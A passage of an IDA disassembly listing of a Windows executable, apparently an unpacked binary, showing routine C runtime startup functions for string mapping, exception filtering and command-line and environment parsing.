		retn
sub_427530	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4275A0	proc near		; CODE XREF: sub_41A730+EBp
					; sub_421FA0+121p ...

var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4353A0
		push	offset sub_41BD64
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		add	esp, 0FFFFFFDCh
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		cmp	dword_4DE08C, 0
		jnz	short loc_427626
		push	0
		push	0
		push	1
		push	offset dword_435398
		push	100h
		push	0
		call	dword_4E04C8	; LCMapStringW
		test	eax, eax
		jz	short loc_4275F7
		mov	dword_4DE08C, 1
		jmp	short loc_427626
; ---------------------------------------------------------------------------


loc_4275F7:				; CODE XREF: sub_4275A0+49j
		push	0
		push	0
		push	1
		push	offset dword_435394
		push	100h
		push	0
		call	dword_4E04C4	; LCMapStringA
		test	eax, eax
		jz	short loc_42761F
		mov	dword_4DE08C, 2
		jmp	short loc_427626
; ---------------------------------------------------------------------------


loc_42761F:				; CODE XREF: sub_4275A0+71j
		xor	eax, eax
		jmp	loc_427891
; ---------------------------------------------------------------------------


loc_427626:				; CODE XREF: sub_4275A0+2Dj
					; sub_4275A0+55j ...
		cmp	[ebp+arg_C], 0
		jle	short loc_42763F
		mov	eax, [ebp+arg_C]
		push	eax
		mov	ecx, [ebp+arg_8]
		push	ecx
		call	sub_4278B0
		add	esp, 8
		mov	[ebp+arg_C], eax


loc_42763F:				; CODE XREF: sub_4275A0+8Aj
		cmp	dword_4DE08C, 2
		jnz	short loc_42766B
		mov	edx, [ebp+arg_14]
		push	edx
		mov	eax, [ebp+arg_10]
		push	eax
		mov	ecx, [ebp+arg_C]
		push	ecx
		mov	edx, [ebp+arg_8]
		push	edx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	dword_4E04C4	; LCMapStringA
		jmp	loc_427891
; ---------------------------------------------------------------------------


loc_42766B:				; CODE XREF: sub_4275A0+A6j
		cmp	dword_4DE08C, 1
		jnz	loc_42788F
		cmp	[ebp+arg_18], 0
		jnz	short loc_427687
		mov	edx, dword_4DE084
		mov	[ebp+arg_18], edx


loc_427687:				; CODE XREF: sub_4275A0+DCj
		push	0
		push	0
		mov	eax, [ebp+arg_C]
		push	eax
		mov	ecx, [ebp+arg_8]
		push	ecx
		mov	edx, [ebp+arg_1C]
		neg	edx
		sbb	edx, edx
		and	edx, 8
		add	edx, 1
		push	edx
		mov	eax, [ebp+arg_18]
		push	eax
		call	dword_4E0428	; MultiByteToWideChar
		mov	[ebp+var_1C], eax
		cmp	[ebp+var_1C], 0
		jnz	short loc_4276BB
		xor	eax, eax
		jmp	loc_427891
; ---------------------------------------------------------------------------


loc_4276BB:				; CODE XREF: sub_4275A0+112j
		mov	[ebp+var_4], 0
		mov	eax, [ebp+var_1C]
		shl	eax, 1
		add	eax, 3
		and	al, 0FCh
		call	sub_4181D0
		mov	[ebp+var_30], esp
		mov	[ebp+var_18], esp
		mov	ecx, [ebp+var_30]
		mov	[ebp+var_24], ecx
		mov	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_4276FD
; ---------------------------------------------------------------------------
		mov	eax, 1
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		mov	[ebp+var_24], 0
		mov	[ebp+var_4], 0FFFFFFFFh


loc_4276FD:				; CODE XREF: sub_4275A0+144j
		cmp	[ebp+var_24], 0
		jnz	short loc_42770A
		xor	eax, eax
		jmp	loc_427891
; ---------------------------------------------------------------------------


loc_42770A:				; CODE XREF: sub_4275A0+161j
		mov	edx, [ebp+var_1C]
		push	edx
		mov	eax, [ebp+var_24]
		push	eax
		mov	ecx, [ebp+arg_C]
		push	ecx
		mov	edx, [ebp+arg_8]
		push	edx
		push	1
		mov	eax, [ebp+arg_18]
		push	eax
		call	dword_4E0428	; MultiByteToWideChar
		test	eax, eax
		jnz	short loc_427731
		xor	eax, eax
		jmp	loc_427891
; ---------------------------------------------------------------------------


loc_427731:				; CODE XREF: sub_4275A0+188j
		push	0
		push	0
		mov	ecx, [ebp+var_1C]
		push	ecx
		mov	edx, [ebp+var_24]
		push	edx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	dword_4E04C8	; LCMapStringW
		mov	[ebp+var_28], eax
		cmp	[ebp+var_28], 0
		jnz	short loc_42775B
		xor	eax, eax
		jmp	loc_427891
; ---------------------------------------------------------------------------


loc_42775B:				; CODE XREF: sub_4275A0+1B2j
		mov	edx, [ebp+arg_4]
		and	edx, 400h
		test	edx, edx
		jz	short loc_4277AB
		cmp	[ebp+arg_14], 0
		jz	short loc_4277A6
		mov	eax, [ebp+var_28]
		cmp	eax, [ebp+arg_14]
		jle	short loc_42777D
		xor	eax, eax
		jmp	loc_427891
; ---------------------------------------------------------------------------


loc_42777D:				; CODE XREF: sub_4275A0+1D4j
		mov	ecx, [ebp+arg_14]
		push	ecx
		mov	edx, [ebp+arg_10]
		push	edx
		mov	eax, [ebp+var_1C]
		push	eax
		mov	ecx, [ebp+var_24]
		push	ecx
		mov	edx, [ebp+arg_4]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	dword_4E04C8	; LCMapStringW
		test	eax, eax
		jnz	short loc_4277A6
		xor	eax, eax
		jmp	loc_427891
; ---------------------------------------------------------------------------


loc_4277A6:				; CODE XREF: sub_4275A0+1CCj
					; sub_4275A0+1FDj
		jmp	loc_42788A
; ---------------------------------------------------------------------------


loc_4277AB:				; CODE XREF: sub_4275A0+1C6j
		mov	ecx, [ebp+var_28]
		mov	[ebp+var_2C], ecx
		mov	[ebp+var_4], 1
		mov	eax, [ebp+var_2C]
		shl	eax, 1
		add	eax, 3
		and	al, 0FCh
		call	sub_4181D0
		mov	[ebp+var_34], esp
		mov	[ebp+var_18], esp
		mov	edx, [ebp+var_34]
		mov	[ebp+var_20], edx
		mov	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_4277F3
; ---------------------------------------------------------------------------
		mov	eax, 1
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		mov	[ebp+var_20], 0
		mov	[ebp+var_4], 0FFFFFFFFh


loc_4277F3:				; CODE XREF: sub_4275A0+23Aj
		cmp	[ebp+var_20], 0
		jnz	short loc_427800
		xor	eax, eax
		jmp	loc_427891
; ---------------------------------------------------------------------------


loc_427800:				; CODE XREF: sub_4275A0+257j
		mov	eax, [ebp+var_2C]
		push	eax
		mov	ecx, [ebp+var_20]
		push	ecx
		mov	edx, [ebp+var_1C]
		push	edx
		mov	eax, [ebp+var_24]
		push	eax
		mov	ecx, [ebp+arg_4]
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		call	dword_4E04C8	; LCMapStringW
		test	eax, eax
		jnz	short loc_427826
		xor	eax, eax
		jmp	short loc_427891
; ---------------------------------------------------------------------------


loc_427826:				; CODE XREF: sub_4275A0+280j
		cmp	[ebp+arg_14], 0
		jnz	short loc_42785A
		push	0
		push	0
		push	0
		push	0
		mov	eax, [ebp+var_2C]
		push	eax
		mov	ecx, [ebp+var_20]
		push	ecx
		push	220h
		mov	edx, [ebp+arg_18]
		push	edx
		call	dword_4E0424	; WideCharToMultiByte
		mov	[ebp+var_28], eax
		cmp	[ebp+var_28], 0
		jnz	short loc_427858
		xor	eax, eax
		jmp	short loc_427891
; ---------------------------------------------------------------------------


loc_427858:				; CODE XREF: sub_4275A0+2B2j
		jmp	short loc_42788A
; ---------------------------------------------------------------------------


loc_42785A:				; CODE XREF: sub_4275A0+28Aj
		push	0
		push	0
		mov	eax, [ebp+arg_14]
		push	eax
		mov	ecx, [ebp+arg_10]
		push	ecx
		mov	edx, [ebp+var_2C]
		push	edx
		mov	eax, [ebp+var_20]
		push	eax
		push	220h
		mov	ecx, [ebp+arg_18]
		push	ecx
		call	dword_4E0424	; WideCharToMultiByte
		mov	[ebp+var_28], eax
		cmp	[ebp+var_28], 0
		jnz	short loc_42788A
		xor	eax, eax
		jmp	short loc_427891
; ---------------------------------------------------------------------------


loc_42788A:				; CODE XREF: sub_4275A0:loc_4277A6j
					; sub_4275A0:loc_427858j ...
		mov	eax, [ebp+var_28]
		jmp	short loc_427891
; ---------------------------------------------------------------------------


loc_42788F:				; CODE XREF: sub_4275A0+D2j
		xor	eax, eax


loc_427891:				; CODE XREF: sub_4275A0+81j
					; sub_4275A0+C6j ...
		lea	esp, [ebp-40h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4275A0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4278B0	proc near		; CODE XREF: sub_4275A0+94p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_8], eax
		mov	ecx, [ebp+arg_0]
		mov	[ebp+var_4], ecx


loc_4278C2:				; CODE XREF: sub_4278B0+35j
		mov	edx, [ebp+var_8]
		mov	eax, [ebp+var_8]
		sub	eax, 1
		mov	[ebp+var_8], eax
		test	edx, edx
		jz	short loc_4278E7
		mov	ecx, [ebp+var_4]
		movsx	edx, byte ptr [ecx]
		test	edx, edx
		jz	short loc_4278E7
		mov	eax, [ebp+var_4]
		add	eax, 1
		mov	[ebp+var_4], eax
		jmp	short loc_4278C2
; ---------------------------------------------------------------------------


loc_4278E7:				; CODE XREF: sub_4278B0+20j
					; sub_4278B0+2Aj
		mov	ecx, [ebp+var_4]
		movsx	edx, byte ptr [ecx]
		test	edx, edx
		jnz	short loc_4278F9
		mov	eax, [ebp+var_4]
		sub	eax, [ebp+arg_0]
		jmp	short loc_4278FC
; ---------------------------------------------------------------------------


loc_4278F9:				; CODE XREF: sub_4278B0+3Fj
		mov	eax, [ebp+arg_4]


loc_4278FC:				; CODE XREF: sub_4278B0+47j
		mov	esp, ebp
		pop	ebp
		retn
sub_4278B0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_427900	proc near		; CODE XREF: sub_41AB00+144p

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		call	sub_421920
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		mov	ecx, [eax+50h]
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_427AC0
		add	esp, 8
		mov	[ebp+var_10], eax
		cmp	[ebp+var_10], 0
		jz	short loc_427933
		mov	eax, [ebp+var_10]
		cmp	dword ptr [eax+8], 0
		jnz	short loc_427942


loc_427933:				; CODE XREF: sub_427900+28j
		mov	ecx, [ebp+arg_4]
		push	ecx
		call	dword_4E04CC	; UnhandledExceptionFilter
		jmp	loc_427ABA
; ---------------------------------------------------------------------------


loc_427942:				; CODE XREF: sub_427900+31j
		mov	edx, [ebp+var_10]
		cmp	dword ptr [edx+8], 5
		jnz	short loc_42795F
		mov	eax, [ebp+var_10]
		mov	dword ptr [eax+8], 0
		mov	eax, 1
		jmp	loc_427ABA
; ---------------------------------------------------------------------------


loc_42795F:				; CODE XREF: sub_427900+49j
		mov	ecx, [ebp+var_10]
		cmp	dword ptr [ecx+8], 1
		jnz	short loc_427970
		or	eax, 0FFFFFFFFh
		jmp	loc_427ABA
; ---------------------------------------------------------------------------


loc_427970:				; CODE XREF: sub_427900+66j
		mov	edx, [ebp+var_10]
		mov	eax, [edx+8]
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+var_8]
		mov	edx, [ecx+54h]
		mov	[ebp+var_18], edx
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+arg_4]
		mov	[eax+54h], ecx
		mov	edx, [ebp+var_10]
		cmp	dword ptr [edx+4], 8
		jnz	loc_427A97
		mov	eax, dword_447A20
		mov	[ebp+var_14], eax
		jmp	short loc_4279AB
; ---------------------------------------------------------------------------


loc_4279A2:				; CODE XREF: sub_427900+D0j
		mov	ecx, [ebp+var_14]
		add	ecx, 1
		mov	[ebp+var_14], ecx


loc_4279AB:				; CODE XREF: sub_427900+A0j
		mov	edx, dword_447A20
		add	edx, dword_447A24
		cmp	[ebp+var_14], edx
		jge	short loc_4279D2
		mov	eax, [ebp+var_14]
		imul	eax, 0Ch
		mov	ecx, [ebp+var_8]
		mov	edx, [ecx+50h]
		mov	dword ptr [edx+eax+8], 0
		jmp	short loc_4279A2
; ---------------------------------------------------------------------------


loc_4279D2:				; CODE XREF: sub_427900+BAj
		mov	eax, [ebp+var_8]
		mov	ecx, [eax+58h]
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+var_10]
		cmp	dword ptr [edx], 0C000008Eh
		jnz	short loc_4279F5
		mov	eax, [ebp+var_8]
		mov	dword ptr [eax+58h], 83h
		jmp	loc_427A7D
; ---------------------------------------------------------------------------


loc_4279F5:				; CODE XREF: sub_427900+E4j
		mov	ecx, [ebp+var_10]
		cmp	dword ptr [ecx], 0C0000090h
		jnz	short loc_427A0C
		mov	edx, [ebp+var_8]
		mov	dword ptr [edx+58h], 81h
		jmp	short loc_427A7D
; ---------------------------------------------------------------------------


loc_427A0C:				; CODE XREF: sub_427900+FEj
		mov	eax, [ebp+var_10]
		cmp	dword ptr [eax], 0C0000091h
		jnz	short loc_427A23
		mov	ecx, [ebp+var_8]
		mov	dword ptr [ecx+58h], 84h
		jmp	short loc_427A7D
; ---------------------------------------------------------------------------


loc_427A23:				; CODE XREF: sub_427900+115j
		mov	edx, [ebp+var_10]
		cmp	dword ptr [edx], 0C0000093h
		jnz	short loc_427A3A
		mov	eax, [ebp+var_8]
		mov	dword ptr [eax+58h], 85h
		jmp	short loc_427A7D
; ---------------------------------------------------------------------------


loc_427A3A:				; CODE XREF: sub_427900+12Cj
		mov	ecx, [ebp+var_10]
		cmp	dword ptr [ecx], 0C000008Dh
		jnz	short loc_427A51
		mov	edx, [ebp+var_8]
		mov	dword ptr [edx+58h], 82h
		jmp	short loc_427A7D
; ---------------------------------------------------------------------------


loc_427A51:				; CODE XREF: sub_427900+143j
		mov	eax, [ebp+var_10]
		cmp	dword ptr [eax], 0C000008Fh
		jnz	short loc_427A68
		mov	ecx, [ebp+var_8]
		mov	dword ptr [ecx+58h], 86h
		jmp	short loc_427A7D
; ---------------------------------------------------------------------------


loc_427A68:				; CODE XREF: sub_427900+15Aj
		mov	edx, [ebp+var_10]
		cmp	dword ptr [edx], 0C0000092h
		jnz	short loc_427A7D
		mov	eax, [ebp+var_8]
		mov	dword ptr [eax+58h], 8Ah


loc_427A7D:				; CODE XREF: sub_427900+F0j
					; sub_427900+10Aj ...
		mov	ecx, [ebp+var_8]
		mov	edx, [ecx+58h]
		push	edx
		push	8
		call	[ebp+var_4]
		add	esp, 8
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_C]
		mov	[eax+58h], ecx
		jmp	short loc_427AAE
; ---------------------------------------------------------------------------


loc_427A97:				; CODE XREF: sub_427900+92j
		mov	edx, [ebp+var_10]
		mov	dword ptr [edx+8], 0
		mov	eax, [ebp+var_10]
		mov	ecx, [eax+4]
		push	ecx
		call	[ebp+var_4]
		add	esp, 4


loc_427AAE:				; CODE XREF: sub_427900+195j
		mov	edx, [ebp+var_8]
		mov	eax, [ebp+var_18]
		mov	[edx+54h], eax
		or	eax, 0FFFFFFFFh


loc_427ABA:				; CODE XREF: sub_427900+3Dj
					; sub_427900+5Aj ...
		mov	esp, ebp
		pop	ebp
		retn
sub_427900	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_427AC0	proc near		; CODE XREF: sub_427900+19p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_4], eax


loc_427ACA:				; CODE XREF: sub_427AC0+30j
		mov	ecx, [ebp+var_4]
		mov	edx, [ecx]
		cmp	edx, [ebp+arg_0]
		jz	short loc_427AF2
		mov	eax, [ebp+var_4]
		add	eax, 0Ch
		mov	[ebp+var_4], eax
		mov	ecx, dword_447A2C
		imul	ecx, 0Ch
		mov	edx, [ebp+arg_4]
		add	edx, ecx
		cmp	[ebp+var_4], edx
		jnb	short loc_427AF2
		jmp	short loc_427ACA
; ---------------------------------------------------------------------------


loc_427AF2:				; CODE XREF: sub_427AC0+12j
					; sub_427AC0+2Ej
		mov	eax, dword_447A2C
		imul	eax, 0Ch
		mov	ecx, [ebp+arg_4]
		add	ecx, eax
		cmp	[ebp+var_4], ecx
		jnb	short loc_427B0E
		mov	edx, [ebp+var_4]
		mov	eax, [edx]
		cmp	eax, [ebp+arg_0]
		jz	short loc_427B12


loc_427B0E:				; CODE XREF: sub_427AC0+42j
		xor	eax, eax
		jmp	short loc_427B15
; ---------------------------------------------------------------------------


loc_427B12:				; CODE XREF: sub_427AC0+4Cj
		mov	eax, [ebp+var_4]


loc_427B15:				; CODE XREF: sub_427AC0+50j
		mov	esp, ebp
		pop	ebp
		retn
sub_427AC0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_427B20	proc near		; CODE XREF: sub_41AB00+E8p

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword_4DF68C, 0
		jnz	short loc_427B32
		call	sub_4222D0


loc_427B32:				; CODE XREF: sub_427B20+Bj
		mov	eax, dword_4DF684
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+var_4]
		xor	edx, edx
		mov	dl, [ecx]
		cmp	edx, 22h
		jnz	short loc_427B9C


loc_427B46:				; CODE XREF: sub_427B20:loc_427B83j
		mov	eax, [ebp+var_4]
		add	eax, 1
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+var_4]
		xor	edx, edx
		mov	dl, [ecx]
		cmp	edx, 22h
		jz	short loc_427B85
		mov	eax, [ebp+var_4]
		xor	ecx, ecx
		mov	cl, [eax]
		test	ecx, ecx
		jz	short loc_427B85
		mov	edx, [ebp+var_4]
		xor	eax, eax
		mov	al, [edx]
		push	eax
		call	sub_42E150
		add	esp, 4
		test	eax, eax
		jz	short loc_427B83
		mov	ecx, [ebp+var_4]
		add	ecx, 1
		mov	[ebp+var_4], ecx


loc_427B83:				; CODE XREF: sub_427B20+58j
		jmp	short loc_427B46
; ---------------------------------------------------------------------------


loc_427B85:				; CODE XREF: sub_427B20+39j
					; sub_427B20+44j
		mov	edx, [ebp+var_4]
		xor	eax, eax
		mov	al, [edx]
		cmp	eax, 22h
		jnz	short loc_427B9A
		mov	ecx, [ebp+var_4]
		add	ecx, 1
		mov	[ebp+var_4], ecx


loc_427B9A:				; CODE XREF: sub_427B20+6Fj
		jmp	short loc_427BB3
; ---------------------------------------------------------------------------


loc_427B9C:				; CODE XREF: sub_427B20+24j
					; sub_427B20+91j
		mov	edx, [ebp+var_4]
		xor	eax, eax
		mov	al, [edx]
		cmp	eax, 20h
		jle	short loc_427BB3
		mov	ecx, [ebp+var_4]
		add	ecx, 1
		mov	[ebp+var_4], ecx
		jmp	short loc_427B9C
; ---------------------------------------------------------------------------


loc_427BB3:				; CODE XREF: sub_427B20:loc_427B9Aj
					; sub_427B20+86j ...
		mov	edx, [ebp+var_4]
		xor	eax, eax
		mov	al, [edx]
		test	eax, eax
		jz	short loc_427BD5
		mov	ecx, [ebp+var_4]
		xor	edx, edx
		mov	dl, [ecx]
		cmp	edx, 20h
		jg	short loc_427BD5
		mov	eax, [ebp+var_4]
		add	eax, 1
		mov	[ebp+var_4], eax
		jmp	short loc_427BB3
; ---------------------------------------------------------------------------


loc_427BD5:				; CODE XREF: sub_427B20+9Cj
					; sub_427B20+A8j
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_427B20	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_427BE0	proc near		; CODE XREF: sub_41AB00+CDp

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		cmp	dword_4DF68C, 0
		jnz	short loc_427BF4
		call	sub_4222D0


loc_427BF4:				; CODE XREF: sub_427BE0+Dj
		mov	[ebp+var_8], 0
		mov	eax, dword_4DDFD0
		mov	[ebp+var_4], eax


loc_427C03:				; CODE XREF: sub_427BE0+57j
		mov	ecx, [ebp+var_4]
		movsx	edx, byte ptr [ecx]
		test	edx, edx
		jz	short loc_427C39
		mov	eax, [ebp+var_4]
		movsx	ecx, byte ptr [eax]
		cmp	ecx, 3Dh
		jz	short loc_427C21
		mov	edx, [ebp+var_8]
		add	edx, 1
		mov	[ebp+var_8], edx


loc_427C21:				; CODE XREF: sub_427BE0+36j
		mov	eax, [ebp+var_4]
		push	eax
		call	sub_414EC0
		add	esp, 4
		mov	ecx, [ebp+var_4]
		lea	edx, [ecx+eax+1]
		mov	[ebp+var_4], edx
		jmp	short loc_427C03
; ---------------------------------------------------------------------------


loc_427C39:				; CODE XREF: sub_427BE0+2Bj
		push	6Dh
		push	offset dword_4353B8
		push	2
		mov	eax, [ebp+var_8]
		lea	ecx, ds:4[eax*4]
		push	ecx
		call	sub_4150C0
		add	esp, 10h
		mov	[ebp+var_C], eax
		mov	edx, [ebp+var_C]
		mov	dword_4DDFA0, edx
		cmp	dword_4DDFA0, 0
		jnz	short loc_427C74
		push	9
		call	sub_41AC70
		add	esp, 4


loc_427C74:				; CODE XREF: sub_427BE0+88j
		mov	eax, dword_4DDFD0
		mov	[ebp+var_4], eax
		jmp	short loc_427C87
; ---------------------------------------------------------------------------


loc_427C7E:				; CODE XREF: sub_427BE0:loc_427CF5j
		mov	ecx, [ebp+var_4]
		add	ecx, [ebp+var_10]
		mov	[ebp+var_4], ecx


loc_427C87:				; CODE XREF: sub_427BE0+9Cj
		mov	edx, [ebp+var_4]
		movsx	eax, byte ptr [edx]
		test	eax, eax
		jz	short loc_427CF7
		mov	ecx, [ebp+var_4]
		push	ecx
		call	sub_414EC0
		add	esp, 4
		add	eax, 1
		mov	[ebp+var_10], eax
		mov	edx, [ebp+var_4]
		movsx	eax, byte ptr [edx]
		cmp	eax, 3Dh
		jz	short loc_427CF5
		push	79h
		push	offset dword_4353B8
		push	2
		mov	ecx, [ebp+var_10]
		push	ecx
		call	sub_4150C0
		add	esp, 10h
		mov	edx, [ebp+var_C]
		mov	[edx], eax
		mov	eax, [ebp+var_C]
		cmp	dword ptr [eax], 0
		jnz	short loc_427CDA
		push	9
		call	sub_41AC70
		add	esp, 4


loc_427CDA:				; CODE XREF: sub_427BE0+EEj
		mov	ecx, [ebp+var_4]
		push	ecx
		mov	edx, [ebp+var_C]
		mov	eax, [edx]
		push	eax
		call	sub_418870
		add	esp, 8
		mov	ecx, [ebp+var_C]
		add	ecx, 4
		mov	[ebp+var_C], ecx


loc_427CF5:				; CODE XREF: sub_427BE0+CCj
		jmp	short loc_427C7E
; ---------------------------------------------------------------------------


loc_427CF7:				; CODE XREF: sub_427BE0+AFj
		push	2
		mov	edx, dword_4DDFD0
		push	edx
		call	sub_415C60
		add	esp, 8
		mov	dword_4DDFD0, 0
		mov	eax, [ebp+var_C]
		mov	dword ptr [eax], 0
		mov	dword_4DF688, 1
		mov	esp, ebp
		pop	ebp
		retn
sub_427BE0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_427D30	proc near		; CODE XREF: sub_41AB00+C8p

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		cmp	dword_4DF68C, 0
		jnz	short loc_427D44
		call	sub_4222D0


loc_427D44:				; CODE XREF: sub_427D30+Dj
		push	104h
		push	offset aCM_unpackerPac ; "C:\\m_unpacker\\packed.exe"
		push	0
		call	dword_4E0334	; GetModuleFileNameA
		mov	off_4DDFB0, offset aCM_unpackerPac ; "C:\\m_unpacker\\packed.exe"
		mov	eax, dword_4DF684
		movsx	ecx, byte ptr [eax]
		test	ecx, ecx
		jnz	short loc_427D77
		mov	edx, off_4DDFB0
		mov	[ebp+var_14], edx
		jmp	short loc_427D7F
; ---------------------------------------------------------------------------


loc_427D77:				; CODE XREF: sub_427D30+3Aj
		mov	eax, dword_4DF684
		mov	[ebp+var_14], eax


loc_427D7F:				; CODE XREF: sub_427D30+45j
		mov	ecx, [ebp+var_14]
		mov	[ebp+var_10], ecx
		lea	edx, [ebp+var_4]
		push	edx
		lea	eax, [ebp+var_C]
		push	eax
		push	0
		push	0
		mov	ecx, [ebp+var_10]
		push	ecx
		call	sub_427E10
		add	esp, 14h
		push	80h
		push	offset dword_4353C4
		push	2
		mov	edx, [ebp+var_C]
		mov	eax, [ebp+var_4]
		lea	ecx, [eax+edx*4]
		push	ecx
		call	sub_4150C0
		add	esp, 10h
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jnz	short loc_427DCE
		push	8
		call	sub_41AC70
		add	esp, 4


loc_427DCE:				; CODE XREF: sub_427D30+92j
		lea	edx, [ebp+var_4]
		push	edx
		lea	eax, [ebp+var_C]
		push	eax
		mov	ecx, [ebp+var_C]
		mov	edx, [ebp+var_8]
		lea	eax, [edx+ecx*4]
		push	eax
		mov	ecx, [ebp+var_8]
		push	ecx
		mov	edx, [ebp+var_10]
		push	edx
		call	sub_427E10
		add	esp, 14h
		mov	eax, [ebp+var_C]
		sub	eax, 1
		mov	dword_4DDF94, eax
		mov	ecx, [ebp+var_8]
		mov	dword_4DDF98, ecx
		mov	esp, ebp
		pop	ebp
		retn
sub_427D30	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_427E10	proc near		; CODE XREF: sub_427D30+65p
					; sub_427D30+B8p

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	eax, [ebp+arg_10]
		mov	dword ptr [eax], 0
		mov	ecx, [ebp+arg_C]
		mov	dword ptr [ecx], 1
		mov	edx, [ebp+arg_0]
		mov	[ebp+var_4], edx
		cmp	[ebp+arg_4], 0
		jz	short loc_427E45
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+arg_8]
		mov	[eax], ecx
		mov	edx, [ebp+arg_4]
		add	edx, 4
		mov	[ebp+arg_4], edx


loc_427E45:				; CODE XREF: sub_427E10+22j
		mov	eax, [ebp+var_4]
		movsx	ecx, byte ptr [eax]
		cmp	ecx, 22h
		jnz	loc_427F1D


loc_427E54:				; CODE XREF: sub_427E10:loc_427EDDj
		mov	edx, [ebp+var_4]
		add	edx, 1
		mov	[ebp+var_4], edx
		mov	eax, [ebp+var_4]
		movsx	ecx, byte ptr [eax]
		cmp	ecx, 22h
		jz	short loc_427EE2
		mov	edx, [ebp+var_4]
		movsx	eax, byte ptr [edx]
		test	eax, eax
		jz	short loc_427EE2
		mov	ecx, [ebp+var_4]
		xor	edx, edx
		mov	dl, [ecx]
		xor	eax, eax
		mov	al, byte_4DE541[edx]
		and	eax, 4
		test	eax, eax
		jz	short loc_427EB7
		mov	ecx, [ebp+arg_10]
		mov	edx, [ecx]
		add	edx, 1
		mov	eax, [ebp+arg_10]
		mov	[eax], edx
		cmp	[ebp+arg_8], 0
		jz	short loc_427EB7
		mov	ecx, [ebp+arg_8]
		mov	edx, [ebp+var_4]
		mov	al, [edx]
		mov	[ecx], al
		mov	ecx, [ebp+arg_8]
		add	ecx, 1
		mov	[ebp+arg_8], ecx
		mov	edx, [ebp+var_4]
		add	edx, 1
		mov	[ebp+var_4], edx


loc_427EB7:				; CODE XREF: sub_427E10+76j
					; sub_427E10+89j
		mov	eax, [ebp+arg_10]
		mov	ecx, [eax]
		add	ecx, 1
		mov	edx, [ebp+arg_10]
		mov	[edx], ecx
		cmp	[ebp+arg_8], 0
		jz	short loc_427EDD
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+var_4]
		mov	dl, [ecx]
		mov	[eax], dl
		mov	eax, [ebp+arg_8]
		add	eax, 1
		mov	[ebp+arg_8], eax


loc_427EDD:				; CODE XREF: sub_427E10+B8j
		jmp	loc_427E54
